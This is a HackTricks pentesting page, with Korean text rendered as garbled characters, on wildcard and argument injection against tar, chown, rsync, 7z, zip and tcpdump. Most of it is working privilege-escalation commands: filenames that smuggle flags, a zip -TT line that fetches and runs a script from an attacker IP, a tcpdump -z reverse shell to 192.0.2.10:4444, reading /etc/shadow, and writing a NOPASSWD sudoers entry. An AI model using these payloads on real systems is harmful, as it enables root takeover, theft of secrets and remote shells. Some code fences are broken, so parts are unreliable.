Wildcards Spare Tricks

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

Wildcard (aka glob) argument injection๋Š” ๊ถŒํ•œ ์žˆ๋Š” ์Šคํฌ๋ฆฝํŠธ๊ฐ€ tar, chown, rsync, zip, 7z ๋“ฑ๊ณผ ๊ฐ™์€ Unix ๋ฐ”์ด๋„ˆ๋ฆฌ๋ฅผ ์ธ์šฉ๋˜์ง€ ์•Š์€ ์™€์ผ๋“œ์นด๋“œ(*)์™€ ํ•จ๊ป˜ ์‹คํ–‰ํ•  ๋•Œ ๋ฐœ์ƒํ•ฉ๋‹ˆ๋‹ค. ์‰˜์ด ์™€์ผ๋“œ์นด๋“œ๋ฅผ ๋ฐ”์ด๋„ˆ๋ฆฌ๋ฅผ ์‹คํ–‰ํ•˜๊ธฐ ์ „์— ํ™•์žฅํ•˜๊ธฐ ๋•Œ๋ฌธ์—, ์ž‘์—… ๋””๋ ‰ํ„ฐ๋ฆฌ์— ํŒŒ์ผ์„ ์ƒ์„ฑํ•  ์ˆ˜ ์žˆ๋Š” ๊ณต๊ฒฉ์ž๋Š” ํŒŒ์ผ๋ช…์ด -๋กœ ์‹œ์ž‘ํ•˜๋„๋ก ์กฐ์ž‘ํ•ด ๊ทธ๊ฒƒ๋“ค์ด ๋ฐ์ดํ„ฐ ๋Œ€์‹  ์˜ต์…˜์œผ๋กœ ํ•ด์„๋˜๊ฒŒ ํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ๊ฒฐ๊ณผ์ ์œผ๋กœ ์ž„์˜์˜ ํ”Œ๋ž˜๊ทธ๋‚˜ ์‹ฌ์ง€์–ด ๋ช…๋ น๊นŒ์ง€ ๋ฐ€์ˆ˜ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด ํŽ˜์ด์ง€๋Š” 2023-2025๋…„์„ ์œ„ํ•œ ๊ฐ€์žฅ ์œ ์šฉํ•œ primitives, ์ตœ์‹  ์—ฐ๊ตฌ ๋ฐ ํ˜„๋Œ€์  ํƒ์ง€ ๊ธฐ๋ฒ•์„ ๋ชจ์•„๋‘ก๋‹ˆ๋‹ค.

chown / chmod

๋‹น์‹ ์€ --reference ํ”Œ๋ž˜๊ทธ๋ฅผ ์•…์šฉํ•˜์—ฌ ์ž„์˜ ํŒŒ์ผ์˜ ์†Œ์œ ์ž/๊ทธ๋ฃน ๋˜๋Š” ๊ถŒํ•œ ๋น„ํŠธ๋ฅผ ๋ณต์‚ฌํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

# attacker-controlled directory
touch "--reference=/root/secret``file"   # โ† filename becomes an argument

๋‚˜์ค‘์— root๊ฐ€ ๋‹ค์Œ๊ณผ ๊ฐ™์€ ๊ฒƒ์„ ์‹คํ–‰ํ•  ๋•Œ:

chown -R alice:alice *.php
chmod -R 644 *.php

--reference=/root/secret``file๊ฐ€ ์ฃผ์ž…๋˜์–ด, ๋ชจ๋“  ์ผ์น˜ํ•˜๋Š” ํŒŒ์ผ์ด /root/secret``file์˜ ์†Œ์œ ๊ถŒ/๊ถŒํ•œ์„ ์ƒ์†ํ•˜๊ฒŒ ๋ฉ๋‹ˆ๋‹ค.

PoC & tool: wildpwn (๊ฒฐํ•ฉ๋œ ๊ณต๊ฒฉ). ์ž์„ธํ•œ ๋‚ด์šฉ์€ DefenseCode์˜ ๊ณ ์ „ ๋…ผ๋ฌธ์„ ์ฐธ์กฐํ•˜์„ธ์š”.


tar

GNU tar (Linux, *BSD, busybox-full)

checkpoint ๊ธฐ๋Šฅ์„ ์•…์šฉํ•ด ์ž„์˜์˜ ๋ช…๋ น์„ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

# attacker-controlled directory
echo 'echo pwned > /tmp/pwn' > shell.sh
chmod +x shell.sh
touch "--checkpoint=1"
touch "--checkpoint-action=exec=sh shell.sh"

๋ฃจํŠธ๊ฐ€ ์˜ˆ๋ฅผ ๋“ค์–ด tar -czf /root/backup.tgz *๋ฅผ ์‹คํ–‰ํ•˜๋ฉด, shell.sh๊ฐ€ root ๊ถŒํ•œ์œผ๋กœ ์‹คํ–‰๋ฉ๋‹ˆ๋‹ค.

bsdtar / macOS 14+

์ตœ๊ทผ macOS์˜ ๊ธฐ๋ณธ tar(libarchive ๊ธฐ๋ฐ˜)๋Š” --checkpoint๋ฅผ ๊ตฌํ˜„ํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค, ํ•˜์ง€๋งŒ ์™ธ๋ถ€ ์••์ถ• ํ”„๋กœ๊ทธ๋žจ์„ ์ง€์ •ํ•  ์ˆ˜ ์žˆ๋Š” โ€“use-compress-program ํ”Œ๋ž˜๊ทธ๋กœ ์—ฌ์ „ํžˆ code-execution์„ ๋‹ฌ์„ฑํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

# macOS example
touch "--use-compress-program=/bin/sh"

๊ถŒํ•œ์ด ๋†’์€ ์Šคํฌ๋ฆฝํŠธ๊ฐ€ tar -cf backup.tar *๋ฅผ ์‹คํ–‰ํ•˜๋ฉด /bin/sh๊ฐ€ ์‹œ์ž‘๋ฉ๋‹ˆ๋‹ค.


rsync

rsync๋Š” -e ๋˜๋Š” --rsync-path๋กœ ์‹œ์ž‘ํ•˜๋Š” ๋ช…๋ น์ค„ ํ”Œ๋ž˜๊ทธ๋ฅผ ํ†ตํ•ด remote shell์ด๋‚˜ remote binary๋ฅผ ์žฌ์ •์˜ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

# attacker-controlled directory
touch "-e sh shell.sh"        # -e <cmd> => use <cmd> instead of ssh

๋‚˜์ค‘์— root๊ฐ€ rsync -az * backup:/srv/๋กœ ๋””๋ ‰ํ„ฐ๋ฆฌ๋ฅผ ์•„์นด์ด๋ธŒํ•˜๋ฉด, ์ฃผ์ž…๋œ ํ”Œ๋ž˜๊ทธ๊ฐ€ ์›๊ฒฉ ์ธก์—์„œ ๋‹น์‹ ์˜ ์…ธ์„ ์‹คํ–‰์‹œํ‚จ๋‹ค.

PoC: wildpwn (rsync mode).


7-Zip / 7z / 7za

๊ถŒํ•œ ์žˆ๋Š” ์Šคํฌ๋ฆฝํŠธ๊ฐ€ ๋ฐฉ์–ด์ ์œผ๋กœ ์™€์ผ๋“œ์นด๋“œ ์•ž์— --๋ฅผ ๋ถ™์—ฌ ์˜ต์…˜ ํŒŒ์‹ฑ์„ ๋ง‰๋”๋ผ๋„, 7-Zip ํฌ๋งท์€ ํŒŒ์ผ ์ด๋ฆ„ ์•ž์— @๋ฅผ ๋ถ™์—ฌ ํŒŒ์ผ ๋ชฉ๋ก ํŒŒ์ผ์„ ์ง€์›ํ•œ๋‹ค. ์ด๋ฅผ ์‹ฌ๋ณผ๋ฆญ ๋งํฌ์™€ ๊ฒฐํ•ฉํ•˜๋ฉด exfiltrate arbitrary files:

# directory writable by low-priv user
cd /path/controlled
ln -s /etc/shadow   root.txt      # file we want to read
touch @root.txt                  # tells 7z to use root.txt as file list

root๊ฐ€ ๋‹ค์Œ๊ณผ ๊ฐ™์€ ๊ฒƒ์„ ์‹คํ–‰ํ•˜๋ฉด:

7za a /backup/`date +%F`.7z -t7z -snl -- *

7-Zip will attempt to read root.txt (โ†’ /etc/shadow) as a file list and will bail out, ๋‚ด์šฉ์„ stderr๋กœ ์ถœ๋ ฅ.


zip

์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์ด ์‚ฌ์šฉ์ž ์ œ์–ด์˜ ํŒŒ์ผ๋ช…์„ zip์— ์ „๋‹ฌํ•  ๋•Œ(์™€์ผ๋“œ์นด๋“œ๋กœ ์ „๋‹ฌํ•˜๊ฑฐ๋‚˜ -- ์—†์ด ์ด๋ฆ„์„ ์—ด๊ฑฐํ•˜๋Š” ๊ฒฝ์šฐ) ๋‘ ๊ฐ€์ง€ ๋งค์šฐ ์‹ค์šฉ์ ์ธ ๊ธฐ๋ฒ•์ด ์กด์žฌํ•ฉ๋‹ˆ๋‹ค.

  • ํ…Œ์ŠคํŠธ ํ›…์„ ํ†ตํ•œ RCE: -T์€ โ€œtest archiveโ€๋ฅผ ํ™œ์„ฑํ™”ํ•˜๋ฉฐ -TT <cmd>๋Š” ํ…Œ์Šคํ„ฐ๋ฅผ ์ž„์˜์˜ ํ”„๋กœ๊ทธ๋žจ์œผ๋กœ ๊ต์ฒดํ•ฉ๋‹ˆ๋‹ค(๊ธด ํ˜•ํƒœ: --unzip-command <cmd>). ๋งŒ์•ฝ -๋กœ ์‹œ์ž‘ํ•˜๋Š” ํŒŒ์ผ๋ช…์„ ์ฃผ์ž…ํ•  ์ˆ˜ ์žˆ๋‹ค๋ฉด, ์งง์€ ์˜ต์…˜ ํŒŒ์‹ฑ์ด ์ž‘๋™ํ•˜๋„๋ก ํ”Œ๋ž˜๊ทธ๋ฅผ ์„œ๋กœ ๋‹ค๋ฅธ ํŒŒ์ผ๋ช…์œผ๋กœ ๋ถ„๋ฆฌํ•˜์„ธ์š”:
# Attacker-controlled filenames (e.g., in an upload directory)
# 1) A file literally named: -T
# 2) A file named: -TT wget 10.10.14.17 -O s.sh; bash s.sh; echo x
# 3) Any benign file to include (e.g., data.pcap)
# When the privileged code runs: zip out.zip <files...>
# zip will execute: wget 10.10.14.17 -O s.sh; bash s.sh; echo x

์ฐธ๊ณ 

  • '-T -TT <cmd>' ๊ฐ™์€ ๋‹จ์ผ ํŒŒ์ผ๋ช…์œผ๋กœ ์‹œ๋„ํ•˜์ง€ ๋งˆ์„ธ์š” โ€” ์งง์€ ์˜ต์…˜์€ ๋ฌธ์ž๋ณ„๋กœ ํŒŒ์‹ฑ๋˜๋ฏ€๋กœ ์‹คํŒจํ•ฉ๋‹ˆ๋‹ค. ์˜ˆ์‹œ์ฒ˜๋Ÿผ ๋ณ„๊ฐœ์˜ ํ† ํฐ์„ ์‚ฌ์šฉํ•˜์„ธ์š”.
  • ์•ฑ์ด ํŒŒ์ผ๋ช…์—์„œ ์Šฌ๋ž˜์‹œ๋ฅผ ์ œ๊ฑฐํ•˜๋Š” ๊ฒฝ์šฐ, bare host/IP์—์„œ ๊ฐ€์ ธ์™€(๊ธฐ๋ณธ ๊ฒฝ๋กœ /index.html) -O๋กœ ๋กœ์ปฌ์— ์ €์žฅํ•œ ๋‹ค์Œ ์‹คํ–‰ํ•˜์„ธ์š”.
  • ํŒŒ์‹ฑ์„ ๋””๋ฒ„๊ทธํ•˜๋ ค๋ฉด -sc (show processed argv) ๋˜๋Š” -h2 (more help)๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ํ† ํฐ์ด ์–ด๋–ป๊ฒŒ ์†Œ๋ชจ๋˜๋Š”์ง€ ํ™•์ธํ•˜์„ธ์š”.

์˜ˆ์‹œ (zip 3.0์—์„œ์˜ ๋กœ์ปฌ ๋™์ž‘):

zip test.zip -T '-TT wget 10.10.14.17/shell.sh' test.pcap    # fails to parse
zip test.zip -T '-TT wget 10.10.14.17 -O s.sh; bash s.sh' test.pcap  # runs wget + bash
  • Data exfil/leak: ์›น ๋ ˆ์ด์–ด๊ฐ€ zip์˜ stdout/stderr๋ฅผ ์—์ฝ”(์ˆœ์ง„ํ•œ ๋ž˜ํผ์—์„œ ํ”ํ•จ)ํ•˜๋ฉด, --help ๊ฐ™์€ ์ฃผ์ž…๋œ ํ”Œ๋ž˜๊ทธ๋‚˜ ์ž˜๋ชป๋œ ์˜ต์…˜์—์„œ ๋ฐœ์ƒํ•œ ์‹คํŒจ๊ฐ€ HTTP ์‘๋‹ต์— ๋‚˜ํƒ€๋‚˜ ์ปค๋งจ๋“œ๋ผ์ธ ์ธ์ ์…˜์„ ํ™•์ธํ•˜๊ณ  ํŽ˜์ด๋กœ๋“œ ์กฐ์ •์— ๋„์›€์ด ๋ฉ๋‹ˆ๋‹ค.

์™€์ผ๋“œ์นด๋“œ ์ธ์ ์…˜์— ์ทจ์•ฝํ•œ ์ถ”๊ฐ€ ๋ฐ”์ด๋„ˆ๋ฆฌ (2023-2025 ๋น ๋ฅธ ๋ชฉ๋ก)

๋‹ค์Œ ๋ช…๋ น๋“ค์€ ์ตœ์‹  CTF์™€ ์‹ค์ œ ํ™˜๊ฒฝ์—์„œ ์•…์šฉ๋œ ์‚ฌ๋ก€๊ฐ€ ์žˆ์Šต๋‹ˆ๋‹ค. ํŽ˜์ด๋กœ๋“œ๋Š” ํ•ญ์ƒ ์“ฐ๊ธฐ ๊ฐ€๋Šฅํ•œ ๋””๋ ‰ํ„ฐ๋ฆฌ ์•ˆ์— ํŒŒ์ผ๋ช…์œผ๋กœ ์ƒ์„ฑ๋˜๋ฉฐ, ์ดํ›„ ์™€์ผ๋“œ์นด๋“œ๋กœ ์ฒ˜๋ฆฌ๋ฉ๋‹ˆ๋‹ค:

๋ฐ”์ด๋„ˆ๋ฆฌ์•…์šฉํ•  ํ”Œ๋ž˜๊ทธํšจ๊ณผ
bsdtar--newer-mtime=@<epoch> โ†’ arbitrary @fileRead file contents
flock-c <cmd>Execute command
git-c core.sshCommand=<cmd>Command execution via git over SSH
scp-S <cmd>Spawn arbitrary program instead of ssh

์ด๋Ÿฌํ•œ ํ”„๋ฆฌ๋ฏธํ‹ฐ๋ธŒ๋Š” tar/rsync/zip ๊ฐ™์€ ๊ณ ์ „๋ณด๋‹ค๋Š” ๋œ ํ”ํ•˜์ง€๋งŒ ํƒ์ƒ‰ํ•  ๋•Œ ํ™•์ธํ•  ๊ฐ€์น˜๊ฐ€ ์žˆ์Šต๋‹ˆ๋‹ค.


tcpdump rotation hooks (-G/-W/-z): ๋ž˜ํผ์—์„œ argv ์ฃผ์ž…์„ ํ†ตํ•œ RCE

์ œํ•œ๋œ ์‰˜์ด๋‚˜ ๋ฒค๋” ๋ž˜ํผ๊ฐ€ ์‚ฌ์šฉ์ž ์ œ์–ด ํ•„๋“œ(์˜ˆ: โ€œfile nameโ€ ํŒŒ๋ผ๋ฏธํ„ฐ)๋ฅผ ์—„๊ฒฉํ•œ ์ธ์šฉ/๊ฒ€์ฆ ์—†์ด ์ด์–ด๋ถ™์—ฌ tcpdump ๋ช…๋ น์ค„์„ ๊ตฌ์„ฑํ•˜๋ฉด, ์ถ”๊ฐ€ tcpdump ํ”Œ๋ž˜๊ทธ๋ฅผ ๋ชฐ๋ž˜ ๋„ฃ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. -G(์‹œ๊ฐ„ ๊ธฐ๋ฐ˜ ํšŒ์ „), -W(ํŒŒ์ผ ์ˆ˜ ์ œํ•œ), -z <cmd>(ํšŒ์ „ ํ›„ ๋ช…๋ น) ์กฐํ•ฉ์€ tcpdump๋ฅผ ์‹คํ–‰ํ•˜๋Š” ์‚ฌ์šฉ์ž(์ข…์ข… ์–ดํ”Œ๋ผ์ด์–ธ์Šค์—์„œ root) ๊ถŒํ•œ์œผ๋กœ ์ž„์˜ ๋ช…๋ น ์‹คํ–‰์„ ์œ ๋ฐœํ•ฉ๋‹ˆ๋‹ค.

์ „์ œ ์กฐ๊ฑด:

  • tcpdump์— ์ „๋‹ฌ๋˜๋Š” argv์— ์˜ํ–ฅ์„ ์ค„ ์ˆ˜ ์žˆ์–ด์•ผ ํ•ฉ๋‹ˆ๋‹ค(์˜ˆ: /debug/tcpdump --filter=... --file-name=<HERE> ๊ฐ™์€ ๋ž˜ํผ๋ฅผ ํ†ตํ•ด).
  • ๋ž˜ํผ๊ฐ€ ํŒŒ์ผ ์ด๋ฆ„ ํ•„๋“œ์˜ ๊ณต๋ฐฑ์ด๋‚˜ -๋กœ ์‹œ์ž‘ํ•˜๋Š” ํ† ํฐ์„ ์ •๋ฆฌํ•˜์ง€ ์•Š์•„์•ผ ํ•ฉ๋‹ˆ๋‹ค.

ํด๋ž˜์‹ PoC (์“ฐ๊ธฐ ๊ฐ€๋Šฅํ•œ ๊ฒฝ๋กœ์—์„œ reverse shell ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์‹คํ–‰):

# Reverse shell payload saved on the device (e.g., USB, tmpfs)
cat > /mnt/disk1_1/rce.sh <<'EOF'
#!/bin/sh
rm -f /tmp/f; mknod /tmp/f p; cat /tmp/f|/bin/sh -i 2>&1|nc 192.0.2.10 4444 >/tmp/f
EOF
chmod +x /mnt/disk1_1/rce.sh

# Inject additional tcpdump flags via the unsafe "file name" field
/debug/tcpdump --filter="udp port 1234" \
--file-name="test -i any -W 1 -G 1 -z /mnt/disk1_1/rce.sh"

# On the attacker host
nc -6 -lvnp 4444 &
# Then send any packet that matches the BPF to force a rotation
printf x | nc -u -6 [victim_ipv6] 1234
  • -G 1 -W 1๋Š” ์ฒซ ๋งค์นญ ํŒจํ‚ท ์ดํ›„ ์ฆ‰์‹œ ํšŒ์ „์„ ๊ฐ•์ œํ•ฉ๋‹ˆ๋‹ค.
  • -z <cmd>๋Š” ํšŒ์ „๋‹น(post-rotate) ๋ช…๋ น์„ ํ•œ ๋ฒˆ ์‹คํ–‰ํ•ฉ๋‹ˆ๋‹ค. ๋งŽ์€ ๋นŒ๋“œ๊ฐ€ <cmd> <savefile>์„ ์‹คํ–‰ํ•ฉ๋‹ˆ๋‹ค. <cmd>๊ฐ€ ์Šคํฌ๋ฆฝํŠธ/์ธํ„ฐํ”„๋ฆฌํ„ฐ์ธ ๊ฒฝ์šฐ, ์ธ์ˆ˜ ์ฒ˜๋ฆฌ ๋ฐฉ์‹์ด ํŽ˜์ด๋กœ๋“œ์™€ ์ผ์น˜ํ•˜๋Š”์ง€ ํ™•์ธํ•˜์„ธ์š”.

No-removable-media variants:

  • ํŒŒ์ผ์„ ์“ธ ์ˆ˜ ์žˆ๋Š” ๋‹ค๋ฅธ primitive(์˜ˆ: ์ถœ๋ ฅ ๋ฆฌ๋‹ค์ด๋ ‰์…˜์„ ํ—ˆ์šฉํ•˜๋Š” ๋ณ„๋„์˜ ๋ช…๋ น ๋ž˜ํผ)๊ฐ€ ์žˆ๋‹ค๋ฉด, ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์•Œ๋ ค์ง„ ๊ฒฝ๋กœ์— ๋‘๊ณ  ํ”Œ๋žซํผ ์˜๋ฏธ๋ก ์— ๋”ฐ๋ผ -z /bin/sh /path/script.sh ๋˜๋Š” -z /path/script.sh๋ฅผ ํŠธ๋ฆฌ๊ฑฐํ•˜์„ธ์š”.
  • ์ผ๋ถ€ ๋ฒค๋” ๋ž˜ํผ๋Š” ๊ณต๊ฒฉ์ž๊ฐ€ ์ œ์–ดํ•  ์ˆ˜ ์žˆ๋Š” ์œ„์น˜๋กœ ํšŒ์ „ํ•ฉ๋‹ˆ๋‹ค. ํšŒ์ „๋˜๋Š” ๊ฒฝ๋กœ(symlink/directory traversal)์— ์˜ํ–ฅ์„ ์ค„ ์ˆ˜ ์žˆ๋‹ค๋ฉด, ์™ธ๋ถ€ ๋ฏธ๋””์–ด ์—†์ด๋„ -z๋ฅผ ํ†ตํ•ด ์™„์ „ํžˆ ์ œ์–ด ๊ฐ€๋Šฅํ•œ ์ฝ˜ํ…์ธ ๋ฅผ ์‹คํ–‰ํ•˜๋„๋ก ์œ ๋„ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

sudoers: tcpdump with wildcards/additional args โ†’ ์ž„์˜์˜ ์“ฐ๊ธฐ/์ฝ๊ธฐ ๋ฐ root ๊ถŒํ•œ

๋งค์šฐ ํ”ํ•œ sudoers ์•ˆํ‹ฐํŒจํ„ด:

(ALL : ALL) NOPASSWD: /usr/bin/tcpdump -c10 -w/var/cache/captures/*/<GUID-PATTERN> -F/var/cache/captures/filter.<GUID-PATTERN>

Issues

  • * glob ๋ฐ ๊ด€๋Œ€(permissive) ํŒจํ„ด์€ ์ฒซ ๋ฒˆ์งธ -w ์ธ์ž๋งŒ ์ œํ•œํ•ฉ๋‹ˆ๋‹ค. tcpdump๋Š” ์—ฌ๋Ÿฌ ๊ฐœ์˜ -w ์˜ต์…˜์„ ํ—ˆ์šฉํ•ฉ๋‹ˆ๋‹ค; ๋งˆ์ง€๋ง‰ ์˜ต์…˜์ด ์ ์šฉ๋ฉ๋‹ˆ๋‹ค.
  • ํ•ด๋‹น ๊ทœ์น™์€ ๋‹ค๋ฅธ ์˜ต์…˜์„ ๊ณ ์ •ํ•˜์ง€ ์•Š์œผ๋ฏ€๋กœ -Z, -r, -V ๋“ฑ์€ ํ—ˆ์šฉ๋ฉ๋‹ˆ๋‹ค.

Primitives

  • ๋‘ ๋ฒˆ์งธ -w๋กœ ๋Œ€์ƒ ๊ฒฝ๋กœ๋ฅผ ๋ฎ์–ด์“ฐ๊ธฐ(์ฒซ ๋ฒˆ์งธ๋Š” sudoers๋งŒ ๋งŒ์กฑ์‹œํ‚ด):
sudo tcpdump -c10 -w/var/cache/captures/a/ \
-w /dev/shm/out.pcap \
-F /var/cache/captures/filter.aaaaaaaa-aaaa-aaaa-aaaa-aaaaaaaaaaaa
  • Path traversal ์ฒซ ๋ฒˆ์งธ -w ๋‚ด๋ถ€์—์„œ ์ œํ•œ๋œ ํŠธ๋ฆฌ๋ฅผ ๋ฒ—์–ด๋‚˜๊ธฐ ์œ„ํ•ด:
sudo tcpdump -c10 \
-w/var/cache/captures/a/../../../../dev/shm/out \
-F/var/cache/captures/filter.aaaaaaaa-aaaa-aaaa-aaaa-aaaaaaaaaaaa
  • ์ถœ๋ ฅ ์†Œ์œ ๊ถŒ์„ -Z root๋กœ ๊ฐ•์ œ ์ง€์ • (์–ด๋””์—๋‚˜ root ์†Œ์œ  ํŒŒ์ผ์„ ์ƒ์„ฑ):
sudo tcpdump -c10 -w/var/cache/captures/a/ -Z root \
-w /dev/shm/root-owned \
-F /var/cache/captures/filter.aaaaaaaa-aaaa-aaaa-aaaa-aaaaaaaaaaaa
  • ์ž„์˜ ์ฝ˜ํ…์ธ  ์“ฐ๊ธฐ: -r๋ฅผ ์‚ฌ์šฉํ•ด ์ œ์ž‘๋œ PCAP์„ ์žฌ์ƒํ•˜์—ฌ (์˜ˆ: sudoers ์ค„์„ ์‚ฝ์ž…ํ•˜๊ธฐ ์œ„ํ•ด):
์ •ํ™•ํ•œ ASCII ํŽ˜์ด๋กœ๋“œ๋ฅผ ํฌํ•จํ•˜๋Š” PCAP์„ ์ƒ์„ฑํ•˜๊ณ  root ๊ถŒํ•œ์œผ๋กœ ๊ธฐ๋ก ```bash # On attacker box: craft a UDP packet stream that carries the target line printf '\n\nfritz ALL=(ALL:ALL) NOPASSWD: ALL\n' > sudoers sudo tcpdump -w sudoers.pcap -c10 -i lo -A udp port 9001 & cat sudoers | nc -u 127.0.0.1 9001; kill %1

On victim (sudoers rule allows tcpdump as above)

sudo tcpdump -c10 -w/var/cache/captures/a/ -Z root
-r sudoers.pcap -w /etc/sudoers.d/1111-aaaa
-F /var/cache/captures/filter.aaaaaaaa-aaaa-aaaa-aaaa-aaaaaaaaaaaa

</details>

- Arbitrary file read/secret leak with `-V <file>` (savefiles ๋ชฉ๋ก์„ ํ•ด์„ํ•จ). ์˜ค๋ฅ˜ ์ง„๋‹จ์€ ์ข…์ข… ๋ผ์ธ์„ echoํ•˜์—ฌ, leaking content:
```bash
sudo tcpdump -c10 -w/var/cache/captures/a/ -V /root/root.txt \
-w /tmp/dummy \
-F /var/cache/captures/filter.aaaaaaaa-aaaa-aaaa-aaaa-aaaaaaaaaaaa

์ฐธ๊ณ  ์ž๋ฃŒ

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ